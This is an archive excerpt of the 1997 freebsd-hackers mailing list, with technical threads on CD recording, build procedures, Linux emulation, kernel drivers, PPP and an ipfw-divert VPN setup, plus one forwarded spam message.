bulk > > See http://www.fokus.gmd.de/nthp/employees/schilling/cdrecord.html . > > Guys he's talking about an IDE device, cdrecord is for SCSI devices... The CAM stuff should remove this distinction; one wonders how NetBSD would do with this? Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Oct 9 12:12:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA21978 for hackers-outgoing; Thu, 9 Oct 1997 12:12:18 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr08.primenet.com (tlambert@usr08.primenet.com [206.165.6.208]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA21968 for ; Thu, 9 Oct 1997 12:12:14 -0700 (PDT) (envelope-from tlambert@usr08.primenet.com) Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id MAA06915; Thu, 9 Oct 1997 12:11:29 -0700 (MST) From: Terry Lambert Message-Id: <199710091911.MAA06915@usr08.primenet.com> Subject: Re: group assignments from make world. To: imp@village.org (Warner Losh) Date: Thu, 9 Oct 1997 19:11:28 +0000 (GMT) Cc: jkh@time.cdrom.com, hackers@FreeBSD.ORG, fullermd@futuresouth.com In-Reply-To: <199710091807.MAA16908@harmony.village.org> from "Warner Losh" at Oct 9, 97 12:07:27 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > You have to get the password from -current monthly and place it in > /etc/current-pwd in order to build the system. If your password is > too old, it won't build. Experienced users can hack this out fairly > easily, and we'd not ship it by default. Minor hacking to the > makefile would be all that is needed. > > The other option is to have a current-urgent or current-build that > dealt only with issues having to do with builds. When a problem came > up, someone would cc current-build with that problem AND solution. > People could then make these into FAQ like entries and when the same > thing comes up again, pointers could be posted. > > Comments? Seems like an awful lot of work to get around a problem caused by allowing CVSup in the middle of a multifile checkin and/or checkin of code which hasn't been build between time of modification and time of checkin and/or multiple developers simultaneously adding code (a very rare, yet potential, collision case). Does this strike anyone else as a discipline issue rather than a user read-access control issue? Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Oct 9 12:24:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA22783 for hackers-outgoing; Thu, 9 Oct 1997 12:24:46 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id MAA22778 for ; Thu, 9 Oct 1997 12:24:42 -0700 (PDT) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0xJOCA-0004sO-00; Thu, 9 Oct 1997 13:24:26 -0600 Received: from harmony.village.org (localhost [127.0.0.1]) by harmony.village.org (8.8.7/8.8.3) with ESMTP id NAA17153; Thu, 9 Oct 1997 13:24:33 -0600 (MDT) Message-Id: <199710091924.NAA17153@harmony.village.org> To: Terry Lambert Subject: Re: group assignments from make world. Cc: jkh@time.cdrom.com, hackers@freebsd.org, fullermd@futuresouth.com In-reply-to: Your message of "Thu, 09 Oct 1997 19:11:28 -0000." <199710091911.MAA06915@usr08.primenet.com> References: <199710091911.MAA06915@usr08.primenet.com> Date: Thu, 09 Oct 1997 13:24:33 -0600 From: Warner Losh Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199710091911.MAA06915@usr08.primenet.com> Terry Lambert writes: : Seems like an awful lot of work to get around a problem caused by : allowing CVSup in the middle of a multifile checkin and/or checkin : of code which hasn't been build between time of modification and : time of checkin and/or multiple developers simultaneously adding : code (a very rare, yet potential, collision case). Actually, it is to enforce reading of -current. The issue you present is interesting, but not the problem I'm trying to solve. : Does this strike anyone else as a discipline issue rather than : a user read-access control issue? It is. I'm just brainstorming ideas on how to encourage/require people have a certain level of cluefulness, or read -current. Warner From owner-freebsd-hackers Thu Oct 9 14:21:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA00932 for hackers-outgoing; Thu, 9 Oct 1997 14:21:43 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from idata-bh.ids-net.com (idata-bh.ids-net.com [205.131.22.66]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id OAA00926 for ; Thu, 9 Oct 1997 14:21:40 -0700 (PDT) (envelope-from mikhail@ids-net.com) Received: (from uucp@localhost) by idata-bh.ids-net.com (8.6.12/8.6.11) id RAA14963 for ; Thu, 9 Oct 1997 17:21:39 -0400 Received: from mail.ids-net.com by idata-bh.ids-net.com via smap (3.2) id xma014950; Thu, 9 Oct 97 17:21:11 -0400 Received: by mail with Microsoft Mail id <343D7911@mail>; Thu, 09 Oct 97 17:38:41 PDT From: "Mikhail B. Chernomordik" To: "'SMTP:hackers@freebsd.org'" Subject: Intel MMX programming Date: Thu, 09 Oct 97 17:20:00 PDT Message-ID: <343D7911@mail> Encoding: 8 TEXT X-Mailer: Microsoft Mail V3.0 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk How have I to develope C-programms using inline Pentium Intel MMX commands under FreeBSD? Lets GNU C compiler make it? Thanks Mikhail Chernomordik mikhail@ids-net.com From owner-freebsd-hackers Thu Oct 9 14:30:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA01343 for hackers-outgoing; Thu, 9 Oct 1997 14:30:22 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA01336 for ; Thu, 9 Oct 1997 14:30:19 -0700 (PDT) (envelope-from julian@whistle.com) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id OAA02492; Thu, 9 Oct 1997 14:22:44 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd002487; Thu Oct 9 21:22:39 1997 Message-ID: <343D4AD9.794BDF32@whistle.com> Date: Thu, 09 Oct 1997 14:21:29 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: mdean CC: freebsd-hackers@FreeBSD.ORG Subject: Re: Major number requested References: <19971009203311.QE10395@uriah.heep.sax.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk J Wunsch wrote: > > As mdean wrote: > > > I would like to ask for a major number for my dio48s/at-p driver (48 > > channel digital i/o with change of state interrupt). > > I will be contributing this driver, unless rejected, to the > > freebsd project. > > Please adhere to style(9) if you intend to contribute it. If you care > for it from the beginning, it's much easier than changing things > later. just run 'indent' over it as you are developing it.. (I've learned to do this at regular intervals, it keeps the diffs down) From owner-freebsd-hackers Thu Oct 9 15:08:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA03122 for hackers-outgoing; Thu, 9 Oct 1997 15:08:03 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA03108 for ; Thu, 9 Oct 1997 15:07:58 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy3.ba.best.com (8.8.7/8.8.BEST) with ESMTP id PAA17392 for ; Thu, 9 Oct 1997 15:07:36 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id PAA15982 for ; Thu, 9 Oct 1997 15:07:36 -0700 (PDT) Date: Thu, 9 Oct 1997 15:07:36 -0700 (PDT) From: mdean To: freebsd-hackers@freebsd.org Subject: config questions Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk in the kernel config file, what does the modifier after the port number do? i.e. port 0x250 bio or port 0x250 tty also how can you pass a define from there to a driver to enable or disable a optional part (is there a better way than option GOODIES=1 etc.) could you have it on the same line as the driver like ... port 0x250 tty irq 5 vector drivervec goodies 1 and get it put in driver.h? From owner-freebsd-hackers Thu Oct 9 15:18:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA03785 for hackers-outgoing; Thu, 9 Oct 1997 15:18:31 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from enteract.com (japhy@enteract.com [206.54.252.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA03780 for ; Thu, 9 Oct 1997 15:18:26 -0700 (PDT) (envelope-from japhy@enteract.com) Received: (from japhy@localhost) by enteract.com (8.8.5/8.7.6) id RAA13065; Thu, 9 Oct 1997 17:18:03 -0500 (CDT) From: Japhy Ryder Message-Id: <199710092218.RAA13065@enteract.com> Subject: The Honor Roll (fwd) To: hackers@freebsd.org Date: Thu, 9 Oct 1997 17:17:23 -0500 (CDT) Cc: chloe@hepcat.org X-Mailer: ELM [version 2.4 PL24 ME8a] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk ----- Forwarded message from Darrin King ----- >From king@noblehouse.com Thu Oct 9 17:06:58 1997 X-Advertisement: Visit http://www.thehitman.com for name removal information. Message-Id: <3.0.1.16.19971009153927.087f088c@noblehouse.com> X-Sender: king@noblehouse.com X-Mailer: Windows Eudora Pro Version 3.0.1 (16) Date: Thu, 09 Oct 1997 15:39:27 To: "Noble House":; From: Darrin King Subject: The Honor Roll Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ****** This message contains important ****** information for you if you are a ****** college student or a family member ****** of a college student. "Ordinary Student Reveals How He Graduated >From College In 2 Years, 8 Months With A Perfect 4.0 GPA" From: Darrin King Author, "Secrets of the A-Maker: Mastering the Grade Game in College" Dear Friend, The days when students could count on old fashioned hard work to make A's in college are long gone. If you want to succeed in today's pressure-filled college environment, you need to know: (1) how to learn as efficiently as possible, (2) *what* to learn in order to make the grade, (3) how to take full advantage of the "system" and make it work *for* you Every student has the ability to make straight A's, but so many fall short because they just don't understand how to play the "Grade Game" in college - they've never been taught how to play! My mission is to solve that problem once and for all. My study course teaches students what to study, how to learn faster, and every single rule of the college "Grade Game" - all the insider tips that I learned on my way to graduating Phi Beta Kappa and winning more than $750,000 in fellowship offers for graduate school. If you want to: [x] Make straight A's with less time and effort than most students use just to get by... [x] Shave an entire *year* off the time it takes you earn your college degree... [x] Learn how you can win more scholarships and fellowships than you ever dreamed possible... Then visit: http://www.noblehouse.com You'll find full details on my study course, including proof of my qualifications (transcripts, letters of recommendation, full fellowship offers from MIT and Stanford) and excerpts from my course! (If by chance you can't access my website, try again in a few hours. Servers are down sometimes...) If you'd prefer to receive details via email, send a message to each of these two addresses: discover@noblehouse.com perform@noblehouse.com The two parts of the message will be sent to you within a few seconds. Sincerely, Darrin King <><><><><><><><><><><><><><><><> If you want to be removed from any future mailings for other products of Noble House Publishing, please send a blank message to king@noblehouse.com with "remove" in the subject line. <><><><><><><><><><><><><><><><> ----- End of forwarded message from Darrin King ----- From owner-freebsd-hackers Thu Oct 9 15:22:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA04035 for hackers-outgoing; Thu, 9 Oct 1997 15:22:14 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from elvis.vnet.net (elvis.vnet.net [166.82.1.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA04030 for ; Thu, 9 Oct 1997 15:22:08 -0700 (PDT) (envelope-from rivers@dignus.com) Received: from ponds.dignus.com (ponds.vnet.net [166.82.177.48]) by elvis.vnet.net (8.8.5/8.8.4) with ESMTP id SAA23332 for ; Thu, 9 Oct 1997 18:21:59 -0400 (EDT) Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.8.5) with ESMTP id SAA11744 for ; Thu, 9 Oct 1997 18:37:19 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id SAA07605 for freebsd-hackers@freefall.cdrom.com; Thu, 9 Oct 1997 18:27:47 -0400 (EDT) Date: Thu, 9 Oct 1997 18:27:47 -0400 (EDT) From: Thomas David Rivers Message-Id: <199710092227.SAA07605@lakes.dignus.com> To: freebsd-hackers@freefall.FreeBSD.org Subject: LINUX emulation and uname(3). Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I have a program, written for Linux, that uses the uname() information as part of its license check... Unfortunately, the check fails... the company indicates that the failure is due to incorrect uname() information. So - does the uname() call under Linux emulation claim to be a LINUX box? - or - does it claim to be a FreeBSD box... Which should it do? Seems to me, for accurate Linux emulation, it should claim to be Linux... - Opinions? - - Dave Rivers - From owner-freebsd-hackers Thu Oct 9 16:04:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA06441 for hackers-outgoing; Thu, 9 Oct 1997 16:04:46 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from pluto.plutotech.com (ken@mail.plutotech.com [206.168.67.137]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA06436 for ; Thu, 9 Oct 1997 16:04:39 -0700 (PDT) (envelope-from ken@plutotech.com) Received: (from ken@localhost) by pluto.plutotech.com (8.8.5/8.8.5) id RAA16661; Thu, 9 Oct 1997 17:03:11 -0600 (MDT) From: Kenneth Merry Message-Id: <199710092303.RAA16661@pluto.plutotech.com> Subject: Re: HP 7100i In-Reply-To: <199710091905.MAA06550@usr08.primenet.com> from Terry Lambert at "Oct 9, 97 07:05:06 pm" To: tlambert@primenet.com (Terry Lambert) Date: Thu, 9 Oct 1997 17:03:11 -0600 (MDT) Cc: sos@sos.freebsd.dk, lederer@bonn-online.com, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28s (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Terry Lambert wrote... > > > See http://www.fokus.gmd.de/nthp/employees/schilling/cdrecord.html . > > > > Guys he's talking about an IDE device, cdrecord is for SCSI devices... > > The CAM stuff should remove this distinction; one wonders how NetBSD > would do with this? CAM will only remove that distinction if someone implements an ATAPI/IDE transport layer for it. The CAM code currently only supports SCSI. Ken -- Kenneth Merry ken@plutotech.com From owner-freebsd-hackers Thu Oct 9 16:27:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA07465 for hackers-outgoing; Thu, 9 Oct 1997 16:27:45 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from scheme.xcf.berkeley.edu (scheme.XCF.Berkeley.EDU [128.32.43.207]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id QAA07457 for ; Thu, 9 Oct 1997 16:27:42 -0700 (PDT) (envelope-from nordwick@scheme.xcf.berkeley.edu) Received: (qmail 2163 invoked by uid 27268); 9 Oct 1997 23:19:21 -0000 Date: 9 Oct 1997 23:19:21 -0000 Message-ID: <19971009231921.2162.qmail@scheme.xcf.berkeley.edu> From: Jason Alan Nordwick MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Thomas David Rivers Cc: freebsd-hackers@freefall.FreeBSD.org Subject: Re: LINUX emulation and uname(3). In-Reply-To: rivers@dignus.com on 10/9/1997 to freebsd-hackers@freefall.FreeBSD.org <199710092227.SAA07605@lakes.dignus.com> References: <199710092227.SAA07605@lakes.dignus.com> X-Mailer: VM 6.32 under Emacs 19.34.1 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Are you trying to get Mathematica to work ? If so, I know of someone that was able to get Mathematica running under FreeBSD, and I can give you his email address. Jay -- Join the FreeBSD Revolution! mailto:nordwick@xcf.berkeley.edu http://xcf.berkeley.edu/~nordwick From owner-freebsd-hackers Thu Oct 9 16:42:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA08058 for hackers-outgoing; Thu, 9 Oct 1997 16:42:28 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from seagull.cdrom.com (cracauer@seagull.cdrom.com [204.216.27.14]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA08053 for ; Thu, 9 Oct 1997 16:42:26 -0700 (PDT) (envelope-from cracauer@seagull.cdrom.com) Received: (from cracauer@localhost) by seagull.cdrom.com (8.8.6/8.6.6) id QAA23676 ; Thu, 9 Oct 1997 16:40:17 -0700 (PDT) Message-ID: <19971010014016.54859@cons.org> Date: Fri, 10 Oct 1997 01:40:16 +0200 From: Martin Cracauer To: Thomas David Rivers Cc: freebsd-hackers@freefall.FreeBSD.org Subject: Re: LINUX emulation and uname(3). References: <199710092227.SAA07605@lakes.dignus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81 In-Reply-To: <199710092227.SAA07605@lakes.dignus.com>; from Thomas David Rivers on Thu, Oct 09, 1997 at 06:27:47PM -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In <199710092227.SAA07605@lakes.dignus.com>, Thomas David Rivers wrote: > > I have a program, written for Linux, that uses the uname() information > as part of its license check... > > Unfortunately, the check fails... the company indicates that the > failure is due to incorrect uname() information. > > So - does the uname() call under Linux emulation claim to be a LINUX > box? - or - does it claim to be a FreeBSD box... > > Which should it do? Seems to me, for accurate Linux emulation, it should > claim to be Linux... Add a program named "uname" to /compat/linux/bin or such that puts out hardcoded strings of your choice. Martin -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Martin Cracauer http://www.cons.org/cracauer/ BSD User Group Hamburg/Germany http://www.bsdhh.org/ From owner-freebsd-hackers Thu Oct 9 16:57:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA08807 for hackers-outgoing; Thu, 9 Oct 1997 16:57:31 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA08801 for ; Thu, 9 Oct 1997 16:57:26 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id JAA12953; Fri, 10 Oct 1997 09:27:19 +0930 (CST) Message-ID: <19971010092718.00781@lemis.com> Date: Fri, 10 Oct 1997 09:27:18 +0930 From: Greg Lehey To: doconnor@ist.flinders.edu.au Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: IJPPP dial on demand References: <199710091126.UAA07708@holly.rd.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e In-Reply-To: <199710091126.UAA07708@holly.rd.net>; from Daniel J. O'Connor on Thu, Oct 09, 1997 at 08:56:18PM +0930 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk (following up to -questions) On Thu, Oct 09, 1997 at 08:56:18PM +0930, Daniel J. O'Connor wrote: > Hi, > I have IJPPP to do dial on demand(and it actually works! :), but the problem is > that the event to cause a dialup(ie a telnet being run or whatever) gets > munched. > By that I mean that if I am not dialed up and do 'telnet foo.bar', I will > have to kill it and wait for the dial up to finish happening and try it again, > otherwise it will time out. I'm not really sure what you're saying here. Are you saying: 1. You're not connected, and you issue a telnet command. 2. PPP starts to dial, but it doesn't connect, and you have to kill it. Or are you saying: 1. You have an idle telnet connection, and the line isn't connected. 2. You enter something, which causes PPP to dial, but you don't get a TCP-level connection. The second scenario is typical for dynamic addressing. The first I don't understand, but it might not be the case. > It might be because after a dial up succeeds, my IP changes(dynamic IP > assignment ): so the packets go to the wrong place.. > Does anyone know of a way to fix it? If it's (2), the answer is "get a static address". > Also, would it be possible to allow the dial command to be used from the ppp > command prompt? This would allow some very handy stuff to happen.. > (I tried, but got also sorts of weird problems happening) Can't you do this from telnet to port 3000? But I can't see why you would want to. Greg From owner-freebsd-hackers Thu Oct 9 16:58:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA08876 for hackers-outgoing; Thu, 9 Oct 1997 16:58:19 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA08867 for ; Thu, 9 Oct 1997 16:58:14 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy4.ba.best.com (8.8.7/8.8.BEST) with ESMTP id QAA26337 for ; Thu, 9 Oct 1997 16:57:21 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id QAA00896 for ; Thu, 9 Oct 1997 16:57:20 -0700 (PDT) Date: Thu, 9 Oct 1997 16:57:20 -0700 (PDT) From: mdean To: freebsd-hackers@freebsd.org Subject: Reliable probing techiniques for isa bus? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk If I have an isa card which occupies 16 ports but only uses 9 of them, I've put in some debugging code to see what can be read from the card at boot time. The read/write ports are random depending on what the card in connected to, the control ports are write only, and so I am only left with the other 5 ports on the card that aren't used and the pattern they are in. Is it expected that you will always read 0xff from an unused port, because that is what I am getting? From owner-freebsd-hackers Thu Oct 9 17:17:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA09791 for hackers-outgoing; Thu, 9 Oct 1997 17:17:37 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: (from jmb@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA09782; Thu, 9 Oct 1997 17:17:23 -0700 (PDT) (envelope-from jmb) From: "Jonathan M. Bresler" Message-Id: <199710100017.RAA09782@hub.freebsd.org> Subject: Re: LINUX emulation and uname(3). To: nordwick@scheme.xcf.berkeley.edu (Jason Alan Nordwick) Date: Thu, 9 Oct 1997 17:17:23 -0700 (PDT) Cc: rivers@dignus.com, freebsd-hackers@freefall.FreeBSD.org In-Reply-To: <19971009231921.2162.qmail@scheme.xcf.berkeley.edu> from "Jason Alan Nordwick" at Oct 9, 97 11:19:21 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jason Alan Nordwick wrote: > > > Are you trying to get Mathematica to work ? If so, I know of > someone that was able to get Mathematica running under FreeBSD, > and I can give you his email address. i have mathematica running under FreeBSD. the binaries are static...you must use "brandelf Linux" to mark them as linux binaries. the install tools on the cd need to branded as well....;( i just copied them over to the disk and editted shell scripts to use the disk copies (after "brandelf Linux") in place of the teh CD copies. jmb From owner-freebsd-hackers Thu Oct 9 17:59:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA11707 for hackers-outgoing; Thu, 9 Oct 1997 17:59:39 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from barrichello.ucr.edu (root@mail.cs.ucr.edu [138.23.169.107]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA11668; Thu, 9 Oct 1997 17:59:28 -0700 (PDT) (envelope-from korpe@cs.ucr.edu) Received: from hill.ucr.edu (korpe@hill.ucr.edu [138.23.169.109]) by barrichello.ucr.edu (8.8.6/8.8.6) with ESMTP id RAA04040; Thu, 9 Oct 1997 17:59:33 -0700 From: Ibrahim Korpeoglu Received: (from korpe@localhost) by hill.ucr.edu (8.8.6/8.8.6) id RAA10004; Thu, 9 Oct 1997 17:59:25 -0700 Message-Id: <199710100059.RAA10004@hill.ucr.edu> Subject: PAO question. To: freebsd-questions@freebsd.org, freebsd-hardware@freebsd.org, freebsd-hackers@freebsd.org Date: Thu, 9 Oct 1997 17:59:25 -0700 (PDT) Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I am trying to install freebsd 2.2.2 to a laptop together with PAO PCMCIA support. I have the PAO boot floppy for 2.2.2. Do I still follow the steps in 2.2.2-RELESEASE/README file? (like compiling the manager daemon and utilitiy files etc.)? Which steps are necessary? I installed freebsd with PAO floppy, but I am not sure if already installed the manager daemon etc. thanks a lot, Ibrahim. korpe@cs.ucr.edu From owner-freebsd-hackers Thu Oct 9 17:59:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA11746 for hackers-outgoing; Thu, 9 Oct 1997 17:59:51 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from whistle.com (s205m131.whistle.com [207.76.205.131]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA11740 for ; Thu, 9 Oct 1997 17:59:48 -0700 (PDT) (envelope-from archie@whistle.com) Received: (from smap@localhost) by whistle.com (8.7.5/8.6.12) id RAA05588; Thu, 9 Oct 1997 17:59:16 -0700 (PDT) Received: from bubba.whistle.com(207.76.205.7) by whistle.com via smap (V1.3) id sma005584; Thu Oct 9 17:58:47 1997 Received: (from archie@localhost) by bubba.whistle.com (8.8.5/8.6.12) id RAA16624; Thu, 9 Oct 1997 17:58:46 -0700 (PDT) From: Archie Cobbs Message-Id: <199710100058.RAA16624@bubba.whistle.com> Subject: Re: SKIP In-Reply-To: from Wm Brian McCane at "Oct 7, 97 10:18:30 am" To: root@bmccane.uit.net (Wm Brian McCane) Date: Thu, 9 Oct 1997 17:58:45 -0700 (PDT) Cc: gurney_j@resnet.uoregon.edu, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Here is what I have/have to do. > > /^^^^^\ ROUTER 1 > ( LAN 1 }--{ipfw/(skip|swipe|...)}--{Pipeline 50} > \vvvvv/ | > | > {ISP} > <---Internet---> > {ISP} > | > | ROUTER 2 /^^^^^\ > {Pipeline 50}--{ipfw/(skip|swipe|...)}--{ LAN 2 ) > \vvvvv/ > > LAN 1 is 192.168.1.0/24 > LAN 2 is 192.168.4.0/24 > ROUTER 1a is 192.168.1.251 > ROUTER 1b is 207.142.125.225/28 > ROUTER 2a is 192.168.4.251 > ROUTER 2b is 204.132.78.206/28 On ROUTER 1, if "ed0" is the 207.142.125.225 interface: $ ifpw add 10 divert 1024 ip from any to 192.168.4.0/24 xmit via ed0 $ ifpw add 20 divert 1025 ip from 192.168.4.0/24 to any recv via ed0 $ vpnd -key secret -insock 1025 -outsock 1024 On ROUTER 2, if "ed0" is the 204.132.78.206 interface: $ ifpw add 10 divert 1024 ip from any to 192.168.1.0/24 xmit via ed0 $ ifpw add 20 divert 1025 ip from 192.168.1.0/24 to any recv via ed0 $ vpnd -key secret -insock 1025 -outsock 1024 > What I am now looking at is an implementation somewhat similar to the > way that natd works with divert sockets. I have already configured a > firewall on both ROUTER 1 and 2. What I think I want to do is set up > rules in the firewall's to divert the appropriate addresses to the > "vpnd". He will then encapsulate the data and send it to the other > router. > > In the encapsulate phase, I will probably bsdcomp the data to be sent, > and encrypt it with some very lame encryption. I was thinking of using a > scheme where each machine has the encryption keys stored in a text file, > and simply uses them to en/decrypt the data. Very basic. > > Does this look like it will work. Am I insane to even think of trying > to write the "vpnd" program? I am most concerned with figuring out how > to write the "vpnd", although I have looked at the "natd" code, and it > looks fairly straight forward to me. I would simply create a "pipe" from > ROUTER 1b to ROUTER 2b. Then as data comes in from the divert socket, I > would direct it out through the "pipe". The place where I have problems > is when a packet comes in on the "pipe". How do I inject the received > data on to my local network? No big deal, you just have to write vpnd now :-) Have it encrypt using "secret" on socket 1024 and decrypt using "secret" on socket 1025... it writes back to the same socket it reads from (as described in the divert man page). -Archie ___________________________________________________________________________ Archie Cobbs * Whistle Communications, Inc. * http://www.whistle.com From owner-freebsd-hackers Thu Oct 9 18:00:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA11886 for hackers-outgoing; Thu, 9 Oct 1997 18:00:31 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA11865 for ; Thu, 9 Oct 1997 18:00:24 -0700 (PDT) (envelope-from julian@whistle.com) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id RAA09611; Thu, 9 Oct 1997 17:54:54 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd009607; Fri Oct 10 00:54:52 1997 Message-ID: <343D7C95.52BFA1D7@whistle.com> Date: Thu, 09 Oct 1997 17:53:42 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: 